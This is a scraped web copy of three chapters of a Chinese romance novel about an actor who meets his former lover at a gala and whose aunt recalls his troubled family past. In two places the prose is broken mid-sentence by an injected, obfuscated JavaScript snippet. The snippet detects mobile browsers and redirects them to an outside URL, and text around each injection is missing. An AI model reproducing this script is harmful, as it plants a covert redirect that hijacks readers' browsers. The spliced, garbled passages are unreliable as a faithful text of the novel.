《蓝调时刻[破镜重圆]》 3. N-重逢3 百事通手指的方向,是舞台前的几桌之一。 那几桌人,非富即贵,要么就是圈内大佬。卞皎远远看着圆桌上一个身影,昏暗中眼眸沉下。 “我草你能长点心不……”小明星回头看了下卞皎,拍了下百事通低声说:“那是能指给他看的吗?” 百事通吃痛呼了一下:“怎么了啊?” 说完他抬头看向自己指的那里,方才还坐在那的鹏远集团小公子此刻座位空空如也,只有刚下台的陈久玥从旁边走过,低声和谁说了什么,然后点头又提着裙角朝侧方的厅门走去。 什么也没有啊……等等。 百事通回转目光,重新看回那张桌子。 就在小公子那张空空如也的座椅对面,坐着一个臃肿不堪的身影,身影左手一抹灰白,反射着场内灯光,依稀可以辨认出,是绷带。 那个身影,不是被卞皎打过的张导还能是谁! 那个灰白色的绷带,都是卞皎的产物吧! 百事通霎时感觉背后发寒,小心翼翼转过头去,果然方才还一直带着笑意的卞皎此刻薄唇煞白,一双眸紧紧盯着那个方向。 靠,事儿大了! 百事通挪动屁股,试图隔绝卞皎的视线:“我记错了,小公子没在那边,哈,哈哈……” 卞皎收回视线,落在近处的百事通身上。一双眼垂眸时,眼皮上那颗浅痣隐隐约约出现,分明是好漂亮一双眼睛,却看得百事通毛骨悚然。 “你……”他慌张道。 忽地,一声很小的消息提示音。 卞皎的眼睛动了动,抬手拿出手机。百事通屏住的呼吸终于松了一口。 吓死了!这么好看的一张脸,冷起来怎么这么不要命! [红姨:小皎,有空去医院探望探望,最近情况不好。] 卞皎看见消息,脸上的冷意冰住,他手指悬空在屏幕上,等了许久,终于快速敲下。 [水饺:好。] [红姨:光知道说好,没见你去。] 盯着屏幕看了许久,卞皎抬头,猝然对上百事通的目光。 百事通浑身一抖。 这卞皎回个消息的时间,这张脸怎么反而变得更冷了! “我去趟洗手间。”卞皎说。 “哦,好……”百事通点头。 卞皎起身就走,他腿长胯窄,走路如风,百事通目光焊在他背影上,看了好久。 小明星突然靠过来:“他去卫生间为什么和你说啊?” 百事通这才像刚回过神来一般,抽回目光,他怔道:“啊,对哦。” “真是怪人。” 卞皎的背影消失在侧厅门外。 刚走出侧厅,他就停下步子,环顾四周,是条走廊。 卸下一口气,卞皎后退,靠在走廊墙上,从兜里掏出手机,屏幕还停留在和红姨的聊天界面。 [水饺:今天结束后就去。] 锁屏手机,他抬头望着天花板,走廊上方的吊灯超乎寻常地刺眼。卞皎却没有低头,而是闭上眼睛,缓慢地呼了口气。 眼前是一片茫茫惨白,有游丝在飘荡。 不知道这样站了多久,久到耳边隐约的场内音乐都变得悠远,他才终于重新睁眼,顿时间,瞳仁被灯光刺得一疼,倏地低下头去。 摸索着将手机塞回兜里,卞皎抬起冰凉的手,摸了下眼睛。也许是方才被灯光刺到的缘故,感觉睫毛上有片温温的湿润。 这个会场,好闷。 已经十点了。 要不然现在就结束活动吧,反正,也无人在意。 从墙壁上起身站直,卞皎抬眼看了下前方的指示标。出口的标识有两个方向不同的箭头,一个指向方才离开的会场大厅,另一个则是相反,指向走廊另一侧。 他抬步,一刻也没犹豫地朝走廊另一侧走去。 他只是不想回到大厅,那个地方没有他认识的人,也没有认识他的人。 只有陌生人,和仇人。 他不属于那个地方。 体育馆的走廊很长很长,一路延伸,中途有好多个拐弯。卞皎疾步如飞,灯光逐渐变暗,他却感觉浑浊的空气逐渐变得清冷,还掺进了些许晚风。 看来走对了。 一直走了几分钟,直到最幽暗的尽头,面前有一扇防火门,卞皎终于停步。 他轻轻抬手,毫不犹豫地推开—— 光亮刺入。 卞皎凝眸,看清眼前的景象后,怔愣了几秒。 这是一个……阳台? 夜风吹拂,他回神,缓慢走进,轻轻回手关上门。 阳台很大,四面有几根高高的柱子,台面延伸出去,对准一个哗啦作响的喷泉。 卞皎站在原地,盯着那个喷泉许久。十五月色之中,泉水倒映出玉盘银白的凛光,秋风轻抚水面,捎来一阵透心的清凉。 体育馆里,竟然有这样一汪泉水,他属实没有想到。 白西服被夜风吹得轻响,额发微微颤动,卞皎抬了抬脚,他想朝阳台深处走去。 忽地,一个声音令他脚步悬空顿住。 “你这么做,不值得……” 喷泉声音中传来细碎的女声,卞皎登时侧头,看向声音来处。 左前方一根参天的罗马柱通向阳台屋顶,柱子后方,隐隐约约露出一截布料,是和月光一样的银白色,裙摆落地,延伸出来。 很眼熟。 卞皎滞了两秒,认出那是自己方才在大厅舞台上见过的裙摆。裙摆的主人于十多分钟前,曾在舞台正中央,唱出一首颂月的歌曲。 那是陈久玥的裙摆。 卞皎稍稍侧步,果然看见了陈久玥的侧影,她那身银白色长裙裙摆曳地,上半身懒懒搭着一件黑色外套。 ——那是谁的西服? 双肘撑靠在阳台石质栏杆上,指尖一点火光。 视线触及那点火光,卞皎眼眸一震。 陈久玥,在抽烟。 小歌后人设清冷,不食人间烟火,爱护嗓子的程度有耳皆知,此刻却竟搭着一件男士西服,撑在栏杆上抽烟。 这一幕若是被谁拍下,真够狗仔狠赚一波的了。 卞皎在心底摇摇头。这个圈子里,又有谁能和人设完全相符的? 一阵风拂过,陈久玥的发丝,以及身上那件西服随着风轻轻飘动一瞬。即便是远远看去,也能看出那件西服面料高级,丝线折射着皎洁如水的月光,价值不菲。 垂眸,卞皎看到一双麂皮皮鞋,挡在柱后。 她的旁边,还有一个人。一个男人。 卞皎耳边立刻响起方才厅内,那位号称“百事通”的小明星说的话:“陈久玥已经有男朋友了,圈外高富帅…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15161498|165050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” ……与自己无关。 卞皎思绪回笼,后退一步,想要离开这个阳台。 “我知道。” 一个男声浸在凛冽泉水声中,轻轻飘来。 卞皎后退的脚步瞬间止住,面色一僵,整个人瓷在原地。 这个声音…… “我又不是要天上的月亮。”那声音说。 卞皎浑身血液顿时凝固,一动也不动。这一句话,卞皎曾经在某一个人的嘴里听过无数遍,连同那人的声音,埋藏在记忆深处。 而如今,一并在夜风中被唤醒。 “谁?”对方发觉了他。 鞋底触碰石质地板的脚步声传出,橐橐作响。 一只手首先闯入卞皎的视线,骨节分明的,修长的,双指间夹着一根香烟的手。手腕处一只银色手表,在月光下发出彻骨的冰凉亮光。 然后是那灰白色的衬衫,熨烫得没有一丝褶皱,领口慵懒散开,肩膀宽阔。 最后是那双眼睛,真的是那双眼睛。光洁平直的额骨下方,眼窝深邃,眼型流畅,细长的眼睛睫毛落出一片阴影—— 卞皎曾在那双眼上吻过无数次。 无数次。 那双眼曾垂眸看他,抬首仰望他,那个人曾贴近他的鼻尖,用唇亲吻他,低声唤他。而此刻,一缕烟雾在稀薄的空气中缓缓腾空,弥漫开来,那双眼隐没在烟雾背后,疏淡、冷锐。 那个人和他对视。 隔着皎白月光的距离,却没有分毫情感。 高跟鞋轻响,女声问:“……你好?” 卞皎猛然回神,那双上一刻还在同自己对视的眼睛,此刻已松然滑过,转身撑回冰冷的石质栏杆之上,只剩一尊侧颜,鼻梁高挺,嘴唇绷直。 “你好,”女声再一次问,“有事么?” 卞皎张了张唇,视线一直刻在那处,嗓子干哑,说不出话。 月光之下,栏杆前那人的目光低垂,食指骨节上蓝色血管晃动,抖了抖烟灰。 削薄的唇轻启,一口雾白的烟吐出。 他碾碎烟。 “走错路的吧。”他对她说。 “别管他。”他看也不看他。 就像萍水相逢,素不相识,月光洒在地面,泉水碎响。 这一幕俨然是出来抽烟的情侣,碰上走错路的路人。有的人圈下领地,有的人败坏兴致。 裤兜忽然一声震动,手机提示音响。 银瓶乍破。卞皎眼眸僵酸,慌忙将视线撤回,移向已朝自己走来两步的陈久玥。 对方一手抓着裙摆,另一只手捏在背后,应该是藏着紧急熄灭的烟,化着淡妆的脸孔上,表情询问,还带有几分警戒。 夜色之中,她身上拢的那件黑色西服松垮,显得身影单薄。 只看了一秒,卞皎就错开目光。 “抱歉,”他听见自己的声音从嗓缝里挤出来,心里有什么东西在打着结下坠,“是走错了。” 接着没有去听任何的回应,也没有去看任何人的反应,他转身就拔步,脚下好踉跄,像逃。 似乎身后面有人在说:“真是走错了?诶,大厅方向在左边……”孤独的女声远远提醒,只有这么一抹,被走错路的人拒绝收听,隔绝在仓皇阖响的防火门后。 连带着夜色中一双投来凝视的眼睛,一起被隔绝了。 4. N-重逢4 场外的刘成最后一次看表,是十点零八分。 半小时后他等的人终于出现在会场侧门。寒风中那白色肩膀薄薄一片,说不出的清癯。 刘成拉开车门下来。 面包车已经被他打发走,现在这辆是他自己的小轿车。回去一趟再开过来,路程一共一个半小时,停在这时就已有明星在陆陆续续从侧门离场。 又一个小时过去,直到卞皎出现。 车内没有开灯,后排门不轻不重地关一声。 “红姨,成哥。” “嗯。”刘成低头扣安全带。 “诶,”副驾的红姨应了一声,她是刘成方才顺路接上的,侧头问后座,“外面冷吧?” “还好。” “那就好,别冻感冒了。”红姨说:“我发消息给你没回,干脆就叫小成来接上我一起了。” 后座有手机被摁亮了下,看屏幕的人像是刚意识到有消息:“不好意思姨,没看见。” “知道,就说你不是不回消息的人,”红姨咯笑,“不像我家那小孩最近没工作待在家里,一天到晚都不理人,问就说在忙,你说他这几天在家也没事,有什么好忙的连回个消息的功夫都没……” “红姨,”后座轻轻出声,打断了她。“要不先送您回家,我一个人去也行。” “嗯?” 他的声音有些哑,响在车里,仔细听的话带着点鼻音:“毕竟这么晚,您去了不方便回。” 刘成正在打火起步,闻言朝后视镜里望了一眼,看不大清。“也待不了多久,”他开口,“我待会把红姐送回去就行。” 说完,他按开顶灯,光线霎时斥满车内,后座的人微微眯了下眼,轻偏了点头。刘成这下看清了,对方的眼角有些发红,揉在白皙到有些病态的肤色里,很是明显。 红姨也瞧见,当即转过头:“哎哟,小皎,你这是……你哭过?” 卞皎明显怔了一瞬。意识到对方在说什么,他抹了下眼睛:“不是。”指指窗外,唇角扯开一个笑:“刚刚风大,吹的。”那眼尾被他抹得更红了,和底妆晕在一起,幽暗的灯光下有些凌乱。 刘成收回目光,心里腾起一股烦躁,窗外呼啦的风拂过,他握着方向盘的手紧了些。 方才下车接卞皎时,他发现小孩的神情好不对劲,一转头,就看到了另一侧的一个身影。左手臂挂着绷带,挺着个肚腩,两耳之间的眼镜反着夜光,视线毫不含蓄,明显在朝他们这里望。 是那个被卞皎打了的导演,张明伟。 “风这么大啊?那你还说不冷,”红姨在说,“穿得这么薄,早知道我给你带件外套过来……” “不用,”就听卞皎一声笑,“我火气旺,不冷。” “火气再旺也禁不住吹啊,我看刚刚出来的女明星一个二个都披着件外套,男明星也都没你穿这么薄的……” “红姐,亏你还是管经纪公司的,怎么能这么说?”刘成开口了,“明星就是这样的嘛,红毯一场挣那么多,吹吹风也就吹吹了。” 红姨就笑:“就你知道得多。” 刘成也笑,又去看后视镜。镜里的卞皎没什么反应,侧着头在看窗外。车窗降了一点缝,夜风中他的发丝轻轻颤荡,挺秀的鼻梁上落下几许阴影。 眼皮上一颗浅痣,半藏在褶皱里。刘成视线触及那颗痣,不由又想起初见那天。 那天红姨给他说什么来着,对,她说卞皎这个孩子有天分,肯干。那时的卞皎不过大三,还没出入社会,一张脸孔青涩,看向人的眼神却出乎意外的平静。第一眼,刘成就觉得这双眼睛有故事,上镜一定很美。 果然他的直觉没错,这双眼睛上镜真的很美。睫毛长但不翘,直直拂出来,不带妆时是一抹天生的眼线,拍第二部电影时,分明是海报都挤不进的男三号,导演却破天荒给了他很多眼睛的特写。 然而上镜美是真的,背后有故事,也是真的。 “他爸,脑梗偏瘫躺在医院半年了,家里就他一个人了,所以缺钱嘛,房子车子能卖的都卖得差不多了。”红姨给刘成说:“他爸是我姐姐前夫,这么个亲戚。” 刘成听着这一遭并不出自己预料的故事,没细究,只挑了个最想知道的问:“那卞皎是您姐姐的……?” “不是。”红姨说:“是他后面老婆的孩子。” “哦……”原来是这样。 所以那所谓的肯干,原来也就是这么个肯干啊。 刘成过问到这儿,就没再了解下去。老话说家家有本难念的经,而他作为经纪人,商业上的合作伙伴,只需要知道卞皎缺钱困难就够了,再多就越界。在工作上,刘成原本是一个很有分寸感的人,他把边界看得比什么都重要,像业内那种和艺人处得像家人的经纪人的事例,他都是听听就忘,从来都不会心生向往。 可这种分寸感分明保存了两三年,却在遇见卞皎之后,无声无息地慢慢被打破了。 卞皎长得其实并不能算惊艳那一挂,但就是很耐看,唇红齿白,五官又都是顶精细的,性格也好,因此刘成越看越觉得自己确实捡着宝了。 第一年签卞皎时,刘成刚跟最近准备结婚的女朋友认识半年,步入同居,遇到卞皎寒暑假期,就经常把孤身一人生活在首都的卞皎带到自己家里来吃饭。 也就是那时候,刘成才发现卞皎人虽然年龄不大,做起活来却麻利极了。收桌子洗碗永远第一个出手,分明自己手里没几个钱,来他们家的时候手上却总会提着礼。先开始几次带的礼不小,茶饼啊,红酒啊,上面的字大多是外文,都看不明白,刘成女朋友直到查价时才反应过来手里拿着的是什么,吓了一跳,问刘成这小皎究竟是什么家境。 刘成把酒瓶拿过来看,才认出来这酒他以前在酒局上见过,再看年份,应该能卖到五位数一瓶。他想着卞皎拿着酒进门时那云淡风轻的样子,像是提了篮果篮,心里的纳闷只能说不比女朋友的少。 是啊,卞皎什么家境啊?这点红姐也没给他说明白过。就知道人以前在首都本地是有房有车的。可你要说是顶有钱的那种小公子吧,普通家庭的孩子却都比不得他勤快能吃苦。 现在大孩子普遍养尊处优,家里稍微过得去一点的,那还不宠上天了,哪能有卞皎这样的呢? 第二天刘成就把酒瓶塞回到卞皎手里,说这些这么贵重,不能收之类的话。卞皎却摇头,执意要他们收下。 “我就只有这些东西,成哥,姐,你们不嫌弃就好。”他的话有一种自我取笑的意味,面上的笑容轻轻含着,像个小括号:“不瞒你们,现在我连这些也都送得差不多了,以后来了,也就只能帮你们刷刷碗了。” 他走后,刘成就坐下吸烟。女朋友看着地上卞皎新提来的一件牛奶,价格估计不超过百来块,和桌上高高瘦瘦的红酒瓶形成鲜明对比。沉默半晌后,她说:“到底是缺钱还是不缺?我真是看不明白了。” 刘成只吐了口烟,也盯着那酒瓶紧紧皱眉,片刻后:“别说你了,我也不明白。” 那箱牛奶后,卞皎很少再来他们家吃饭。刘成和他又恢复到才开始那种只有工作时才会碰面的状态,其他时候,真的连消息都很少发。 刘成也是在那时才真正觉得窥到了一点卞皎的内里——离人万里,永远像一块捂不热心的铁。某一天没工作的上午,这块心子发凉的铁却又来找上他了。 这一天,刘成跟着卞皎去了他家在首都最后的那套房子。 高档楼盘,两百平的平层,光装修目测也有百万,以现在这房价,卖出去绝对能拿到一笔普通人半辈子也挣不到的钱。他当时走进去,表面强稳住不动声色,心里却惊惑。有这套房子的这笔钱在,就是一年花费百万,也完全该承担得起,卞皎怎么还会缺钱。他爸不过得的是个偏瘫,哪里有这么烧钱? 回去后旁敲侧击了几次红姐,红姐对此讳莫如深。 “钱不钱的,我也就只能帮到这份上,”红姐说,“别的,就不是我们能管的了。” 刘成闻言,只能咋舌,既然如此,他也假装心领神会地不再探问。 可是人哪有那么容易能放下对未知的窥探欲望? 有那么几次,商演候场,刘成在后台陪着卞皎戴上耳麦。说是后台,其实不过是用小挡板围起来的一个小空间,不像在阻隔别人,反倒像是在圈住他们。 每到这时,看着卞皎站在一片混乱的漂浮嘈杂之中,刘成的心里,还是会莫名迸生出一种无法言说的坠落感。尤其是当那双清淩淩的眼睛看向他时弯弯一笑的那一瞬间,他总会瞬间想起那一天的那个上午,卞皎来找他帮忙,其实是拜托他一起去搬那套大平层里的东西到经纪公司分的员工宿舍。 连最后的那套房子,他如今也要卖掉了。 员工宿舍五十平方,和大平层一个地下一个天上,一房一厅,很久没人住过,墙面有些许剥落。那天冬日阳光正好,透过东南面的一扇小窗洒进房间,给卞皎的发丝镀上一层浅白色的金。 那时卞皎正在整理东西,脖颈弯出一个极其优美的弧度,又正好抬起头看向刘成,朝他眼眸弯弯一笑。那一瞬间,刘成几乎瓷在原地。再回过神来,他脑海里只有一个想法,那就是卞皎不应该出现在那个房间里,不应该出现在商演后台,甚至,不应该出现在首都的那一个冬天。 至于为什么,又或者该出现在哪,他却也说不清。 毕竟他与卞皎这个人,虽然彼此近在咫尺,却也还是知之甚少。 离医院还有三个路口,一盏红灯,刘成踩下刹车,车缓缓停下了。捏着方向盘张了张嘴,他扭头。 “红毯返图,我上你微博转发过了。” 后座的人隔了两秒才回,那声音低轻:“好。” “既然你爸情况不好,这两天就不接商演了。” “好。” “那专心等试镜结果出来,人不多,估计也就在这两天。” “好。” “嗯。” 重新绿灯,刘成转回头,目光在车流间闪走。卞皎也没有再说话,车内就这样陷入沉默。 红姨侧眸看了看刘成,感觉这氛围有哪不对劲。对方抿着唇专注开车,看不出什么不对。她便动了动坐姿,也闭嘴看着前方,没再说话。 直到又一个红灯,看了眼倒计时,快一分半钟。 刘成双手松开了方向盘:“今天有交到朋友吗?”没回头,但是在问卞皎。 卞皎这次答得很快:“没。” “怎么那么晚才出会场?” “上了个厕所。” “哦,没遇见什么事吧?” “……” 这场有问必答的对话意外地沉默了一点五秒。 一点五秒后,“……没有。”卞皎说。 刘成看向后视镜,有些步步紧逼的意思接着问:“那,有没有遇见什么人?” 后视镜里,卞皎似乎动了动唇,却没出声。 良久后,他点头:“有。” “ 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自始至终,他都没有接他们的那段对话。 红姨盯着那双垂下的眼睛看了一小会儿,一双纹过的眉皱得更紧。抿了下唇后,她看回前方的道路,却也没再继续说什么,车内重新回归沉默。 后座的卞皎仍然低垂着眼皮,也许根本没看见她抿唇,也没看见她移开视线了,总之就像受过教训却仍然无法控制犯错的一条宠物犬。那颗浅痣就这样被完全展示出来,明明白白,却又不清不楚,令瞥了眼后视镜的刘成不完全不知道他在想着什么。 其实唯一知道他在想着什么的,恐怕就只有红姨了。甚至就连她,也不一定能真的清楚。 ……那个阳市。她觉得他应该是在想那个阳市吧。 阳市。西南的某个小县城,是卞皎的半个老家。 虽说在首都生活许多年,但不论从何种意义上讲,卞皎都不算是首都人。 他在南方的一个沿海城市出生,和妈妈生活在一起,长到三年级都没见过父亲。直到妈妈再嫁,才终于举家跟着后爸一起搬到首都。初一那年,妈妈因病离世,卞皎就和后爸一起迁回他家乡的省会。三年后高二,又回到后爸的老家阳市上学。 后爸干建筑的,很有能力,这么些年过去,当年留在首都的房产尚还一直都在,于是高中毕业后,卞皎就又跟着他一起回到了首都。 这一回,就又是小半个十年。 这么几年过去,身边的事情来了又走,红姨眼见着这个和自己没有任何血缘的小辈从学校到医院,再到晚宴和片场,从蓝白色校服换成戏服,再换成夜色下柔纳月光的名贵西装,岁月不饶人,竟然就这样过去了五年时光。 五年,连一棵树苗都能长出无数的枝干,更别说一个人,卞皎和当年相比,真是变了太多太多。 红姨永远不会忘记五年前第一次见到卞皎,那是在一间混乱的房间里,那时他的脸孔青涩,眉眼却皱得发青,单薄的T恤随着风声哗啦作响,他单脚跨在洞开的窗台上。 说来有些不知道怎么形容,那时的卞皎其实和现在分毫不像。 “我会跳。”那时他的表情多么歇斯底里,仿佛下一秒就要跃进风里,“你逼我,是不是就是想看我跳?” 红姨其实上了年纪,记性远不比早几年好,连自己儿子的出生年月都要反应一会儿才能想得起来,但就唯独那一天的细节她记得清清楚楚。她记得那时的卞皎还差几个月就成年,刚刚收到传媒大学新闻专业的录取通知书,分明过去是一个连她姐姐都评价为懂事的好孩子,却在那一天闹着要跳楼,试图以性命威胁他后爸什么。 后来当被一群人从阳台上扣扯下来时,卞皎整个人如一片毫无重量的羽毛飘落下来,削薄的身躯被紧锢住,红姨这才看见他的眼圈周围一片发红,在那煞白的皮肤上尤其显得突兀可怖。即使如此,唇还在低喃着什么。 要凑近去听,才能依稀辨认出那只是重复着的三个音节。 说来奇怪,这三个音节她当时其实并没有听清,只是听完后默念了几遍,才勉强推断出是个人名,而这么多年过去,她也从未有再听过卞皎提过这个名字,但不知怎的却总会不时想起它,有些时候甚至每隔一段时间就想起一次。她自己都觉得也许想起的并不是那三个音节,而是重复着它的卞皎的模样,毕竟后来的卞皎再也没有像那天那般失态过。 在慈善晚会冲突的那一夜,她甚至重新梦到了那一天。 梦里先是那个穿着白色西装颓唐的身影,然后才慢慢红了眼睛,和几年前窗台前的那个的少年重叠交错,被锢着双臂低喃、哭泣。梦里她似乎想要弥补现实的遗憾,努力地想要听清那张薄唇低呼的那个名字,却越靠近越模糊,最后甚至连整个场景都坍塌崩溃。 醒来后她满头湿汗,惝恍半晌,竟然有些无端庆幸。庆幸那一夜的卞皎虽然窘迫,但至少不及那天的百分之一。 有人说梦是现实的预兆,红姨以前不信,做完梦就丢在脑后了,直到这一次—— 做完这个梦的不到一个半月后,她竟然真的听见了那个名字。而且,这一次与过去都不同,她听得清清楚楚,字字分明,甚至能将那三个音节的名字用纸笔书写出来,一笔一划绝不错漏。 在分辨了一秒自己是否在做梦后,她忽然就觉得世上有些说法,真的不得不信了。 5.N-卞皎1 再次听见名字这一天,是中秋晚会的三天后。 这些日子卞皎日夜都在康复医院照顾后爸,期间红姨也去了两次。这一天她去的时候,偏瘫的姐夫坐着轮椅,似乎在看窗外的鸟迹,卞皎则坐在离门更近的病床旁削水果。 红姨先叫了声姐夫,轮椅上的男人就动了动眼睛看她一眼,没说话。她摸不准他到底能不能说话,刚中风那阵他严重失语,到现在做了一年半康复却也还是失语,也不知道是真说不出还是不想说。 接着和卞皎打招呼。中秋那晚的异常她还记着,因此不放心地多留意了几眼卞皎,好在那张脸孔只是比平常要白一些,像没晒到太阳的那种面色,其他看不出来什么。 拉了个椅子坐下,就听见病房的挂壁电视上播放着当天的热点新闻。 头条是严肃的女音:“著名导演张某涉嫌偷税漏税问题,多平台账号被封禁……” 红姨抬头,屏幕上赫然是一张男人面孔,双眼处打了此地无银三百两的马赛克,都不需要辨认,正是那晚和卞皎发生冲突的导演张明德。 她愣了一下,朝卞皎看去。就见卞皎的头也抬起来了,手中一把凛灰的水果刀,削到一半的苹果皮摇摇欲坠。 一阵震动突然响起,卞皎恍然回神一般拿起手机看了眼,接着他往床头柜垫了一张卫生纸把刀和苹果放下,起身去接。 红姨听得出是刘成的电话,内容不用猜也知道有关什么。 娱乐圈瞬息万变诚不欺人,她却还是有些惊讶。毕竟那张明德也是个好大的导演,怎么会在这种事情上被开了天窗。 窗旁卞皎的回应声一下一下地传来,没有什么情绪起伏插在起伏的娱乐新闻里,有些像发条卡顿的机器。红姨转身拿起电视遥控板想把声音关掉,再次看向屏幕时,却被上面的配图吸引了注意。 一张黑灰色调的偷拍视角图,一男一女先后下车。 “……小歌后陈久玥与神秘男子亲密挽手,中秋之夜一曲《月光症候群》其实暗指好事将近?” 图片切换到下一张,镜头相较上张更加拉近,颗粒感十足的画面中陈久玥清丽的侧脸清晰可见,她身上披着一件黑色西装外套,手臂挽着身侧的男人,正抬头似乎在和男人说话。 男人正好背对镜头,只能看见一个高大的背影,肩膀宽阔,挺拔厮称。 卞皎的电话结束,这时握着手机刚巧转过头来。 “……据悉该男子或为鹏远集团长孙,刚刚归国的鹏远科技CEO。” “裴子骞。” 三个音节。 扑通。有什么东西掉落在地。 红姨扭头先朝卞皎看去,对方白色运动鞋的脚边干干净净。视线转了下到病床边的轮椅,才看见自家姐夫居然扭动身子,抬起来了左半边手臂在朝床头柜上扒拉。 原来是那卷削了一半的苹果皮被他碰掉了,正好落在下面的空洞的垃圾桶里,黑色塑料发出的声响。 卞皎及时赶到,一双纤瘦的手动作迅速,拿起那颗苹果递给他。红姨就看着自家姐夫没有接,一双混沌的眼睛瞪得圆挺,直直盯着卞皎的另一只手看。 卞皎的另一只手里能有什么?不过是拿苹果时一起拿起的那把水果刀,刀口锋利,映着执刀着手部皮肤的冷白。刀背上面些许细碎水痕,有些像雾朦胧,叫人无法看清反射了什么。 一阵呜呜呀呀的谵语忽然从姐夫嘴里团嚷出来。 红姨离得太远,依稀只能听见几个模糊音节,然后就是卞皎倏然抬起头朝她看来的视线。 那视线先是下意识的错愕,接着被一层防备取代。 红姨诧然一秒,心里顿时生出不解与凉薄之意,不过下一秒就被那防备中夹杂的骇然给压了下去,她虽不解,但直觉却驱使她低下了头,佯装去调自己手中的遥控板。 病房忽然岑寂,是她手上的静音键终于按下,奇怪的是病人那呜呀的声音竟也随着新闻播报同一时间消失了。再抬头,电视上的新闻已放到下一条。不知道是哪个无关痛痒的明星又被曝光了哪场无关痛痒的恋情,色调高度统一的狗仔偷拍图贴在屏幕之上,没有配音解说。 这一次的照片分明比上一条新闻的要清晰,事件主人公衣着高调,面孔华丽,却无法吸引这个病房里任何一个人的注意力。 红姨出神几秒,猛地像是想到什么朝病床边看去。 病床旁,卞皎原本站着的身影已经蹲下在轮椅边。他一手握着湿巾纸袋,另一只手轻轻擦拭着地面不知从何而来的污渍。也许是错觉,红姨只觉得那头埋得似乎有些太低,太过分了,整个人蜷在一团,像一只花坛上被人拨弄的蜗牛。 这一瞬间,她突然释然了之前在卞皎眼中看到的那抹防备。蜗牛的触角对世界充满防备,但蜗牛至少还有一层薄外壳。 卞皎什么都没有。 - 初见卞皎前,张红霞就听说过他的事。 “挺灵动的小孩,”她的大姐张翠云这样评价这个前夫的继子,“要是他愿意,你们公司把他签下来也未尝不可。” 张红霞当时笑:“那郑怀远现在兜里的子可不少,他能愿意让自己的小孩进演艺圈这种地方?早退回去十年,到你们刚离婚那会儿,倒还有可能。” 谁料张翠云不说话了。她沉默了一阵,最后只说:“早退回去十年,他能愿意回他老家?” 张红霞当时不知道大姐说这话是什么意思。 她只知道郑怀远当初和大姐离婚后,南下经商,在苏浙一带再婚,后来生意越做越大,又回到首都。 那时的张红霞见过几次郑怀远的二婚妻子,瓜子脸,桃花面,眼皮上一颗小痣,好像不怎么说话,远远的只用一双眼睛含着笑看你一眼,就算是打过招呼了。暗地里,张红霞对大姐说郑怀远这果然是风光了,老婆起码比他小一辈吧,大姐就摇头,只说不是,其余的再问她也不说。 后来张红霞才知道,这女人原来和郑怀远同龄,比自己大姐都还要长上两岁。 还有过生育,一个男孩,孩子不知道什么原因跟着她姓。直到三年后,女人因病去世,张红霞才阴差阳错知道她的姓名。 她姓卞,她的小孩也姓卞,叫卞皎。 因为大姐的原因,张红霞对郑怀远一直心怀怨怼。当初他从西南一个小县城来到首都时,不过是自己父亲手下的一个小司机,若不是攀上了大姐,怎么可能有后来的见识和机会。 可未曾想这一次,郑怀远竟颠覆了他在她心中的形象。 在女人去世之后,他竟然带着她的孩子回了西南省。 这些年来,张红霞心底一直有个怀疑。会不会那个孩子本身就是郑怀远的小孩?否则这样一个唯利是图的男人,怎么会甘愿养育别人的孩子? 这个怀疑在后来得到了郑怀远本人的亲口否认,否认时距离女人去世,已过去五年有余。 这时候,郑怀远带着刚刚高考结束的卞皎重新回到了首都。得知这个消息时,张红霞正在大姐家中,大姐刚刚结束高龄生产,新姐夫忙得脚不沾地,大姐却在病房里给张红霞发来消息,要她帮郑怀远一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164595|165050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙。 而见到卞皎跳楼的闹剧,正是在这条消息的一个月后。 卞皎和他的母亲简直像一个模子里刻出来的,眼皮一颗小痣,如同绘一幅水墨丹青遗下的墨点。 张红霞就想到了大姐对自己说的话,“要是他愿意,你们公司把他签下来也未尝不可。” 这样的外形,多适合进娱乐圈。 可惜就可惜在,卞皎不愿意。 而出乎意料的,本以为会不屑一顾的郑怀远听说她的想法,竟然大力支持。他说卞皎正好被传媒大学录取,虽然是新闻专业,但也算踏进半个圈子了。他甚至游说了许多次卞皎。 那时候是初秋,卞皎和初次见面时比起来,已经平静许多,甚至平静得有些过分了。 他的一双眼睛就和他母亲一样漂亮,只是不笑,生生地看着你,光是看着,就感觉如诉如泣。他说他对表演没有兴趣,多谢红姨的欣赏。 张红霞向来是不喜欢强求人的,但却在那时头一次有了非要签下他不可的想法。好在这种想法带来的冲动转瞬就被压了下去,她想到卞皎的经历,也觉得他确实并不适合演艺圈这条路,于是这件事就此作罢。 事情的转机就在郑怀远突发的脑梗上。 接到卞皎电话赶到医院时,张红霞刚送完自己儿子进组。郑怀远一共住了五天ICU,然后转特级护理,一个半月后,卞皎跟着张红霞见了经纪人刘成。 张红霞也是这时候才知道,原来郑怀远的倒下早有征兆。他从老家重回首都时已债台高筑,全部身家仅剩一辆市值四十多万的奔驰车,半年前被冻结,两个月前在老家法院被进行法拍。那时间,正是在他突发脑梗的一周前。 - 如果是其他人,张红霞绝对不会支持以进娱乐圈的方式挣钱还债,但卞皎不同。郑怀远脱离危险的一个半月里,她见识过他的冲劲和韧性。 